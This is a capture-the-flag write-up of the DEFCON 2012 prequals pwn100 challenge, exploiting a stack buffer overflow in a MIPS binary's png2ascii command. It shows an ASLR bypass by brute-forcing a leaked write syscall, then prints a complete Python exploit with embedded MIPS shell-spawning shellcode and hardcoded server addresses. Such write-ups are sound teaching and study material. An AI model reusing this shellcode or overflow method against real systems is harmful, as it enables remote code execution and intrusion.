DEFCON2K12 Prequals: pwn100 writeup
Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:
> file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a
pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
Debian provides virtual machine images of their distribution for MIPS-I
CPUs, which we were able to use with qemu
in order to run the binary. It
serves a simple shell with the following commands available:
qotd
ls
png2ascii
help
exit
quit
When we used the ls
command we could see the key
file. The goal of this
challenge was obviously to get it back. But the vulnerability was in another
command: png2ascii
(sub_00401BC4
). This functions reserves a buffer of size
0x100
on the stack but reads 0x200
from it, stopping at the first '\n'
byte encountered. We can use this to overwrite the return address stored on the
stack and control the execution flow.
.text:00400918 lw $ra, 0x2C($sp)
.text:0040091C lw $fp, 0x28($sp)
.text:00400920 jr $ra
.text:00400924 addiu $sp, 0x30
The problem we encountered next was bypassing ASLR, which made the address of
our stack buffer random. We tried to find gadgets in the binary in order to
return to our buffer address but no register pointed to our buffer and no
pointer to the buffer was present at a useful location in the stack. Luckily,
the server uses fork()
to serve each connection, which means each connection
will use the same base stack address. We don’t know where our buffer is but if
we can find it once we know it will always be there until a server reboot.
We decided to leak informations about our memory map by using a write
syscall
present in the binary and returning to it. It loads arguments from the stack so
we can control these as well, and the file descriptor we need to write the data
on is already loaded with the right value.
.text:00411498 lw $a1, 0x30+var_2C($sp)
.text:0041149C lw $a2, 0x30+var_28($sp)
.text:004114A0 lw $a3, 0x30+var_24($sp)
.text:004114A4 li $v0, 0x1052
.text:004114A8 syscall 0
Using a crafted stack we were able to bruteforce the pointer passed to the
write
syscall and test whether data is written or not. If some data is
written we know that we are in a valid memory range.
> for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out
...
000004e0 0a 4f 52 20 41 20 4d 4f 55 54 48 2e 20 42 45 20 |.OR A MOUTH. BE |
000004f0 47 4f 4f 44 20 41 54 20 53 43 48 4f 4f 4c 20 54 |GOOD AT SCHOOL T|
00000500 4f 44 41 59 2e 20 4c 4f 56 45 2c 20 4d 4f 4d 2e |ODAY. LOVE, MOM.|
00000510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | |
00000520 20 0a 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 | ..AAAAAAAAAAAAA|
00000530 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
000005b0 41 41 41 51 51 51 51 98 14 41 00 04 00 00 00 f0 |AAAQQQQ..A......|
000005c0 c6 8c 7f 00 10 00 00 00 00 00 00 70 0a 01 10 ff |...........p....|
000005d0 ff ff ff d0 c7 8c 7f f8 17 99 00 09 00 00 00 ff |................|
000005e0 ff ff ff b8 c7 8c 7f cc 12 40 00 04 00 00 00 d0 |.........@......|
000005f0 c7 8c 7f 00 01 00 00 0a 00 00 00 70 0a 01 10 ff |...........p....|
00000600 ff ff ff 70 6e 67 32 61 73 63 69 69 00 ff ff ff |...png2ascii....|
00000610 ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff |................|
...
Using this trick we were able to find our buffer filled with “A” characters, so
we knew exactly where to jump to. We just needed a valid MIPS shellcode to
execute a shell on the remote server. Using this website we were able to
do this very quickly. After testing it on the remote server we noticed that
simply running dup2
and execve
was not enough because the server had a hard
file descriptor limit. We bypassed it by using setrlimit
before execve
,
giving us this final exploit script:
import socket
import struct
import sys
shellcode = \
"\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \
"\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \
"\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \
"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \
"\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \
"\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \
"\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \
"\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \
"\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \
"\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("140.197.217.85", 1994)) # remote server
s.connect(("192.168.103.61", 1994)) # local test
print s.recv(1024)
print s.recv(1024)
cmd = "png2ascii\n"
s.send(cmd)
print s.recv(1024)
raw_input() # usefull for attach gdb
stack = int(sys.argv[1], 16)
size = int(sys.argv[2], 16)
# EIP control
payload = shellcode + "A" * (256 - len(shellcode))
#payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall
#payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local
payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote
payload += "\x04\x00\x00\x00" # Socket fd
# Parameters for sycall write
payload += struct.pack("<I", stack)
payload += struct.pack("<I", size)
payload += struct.pack("<I", 0)
s.send(payload + "\n")
sys.stdout.write(s.recv(65536))
sys.stdout.write(s.recv(65536))
We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it’s not common to exploit non-x86 architectures.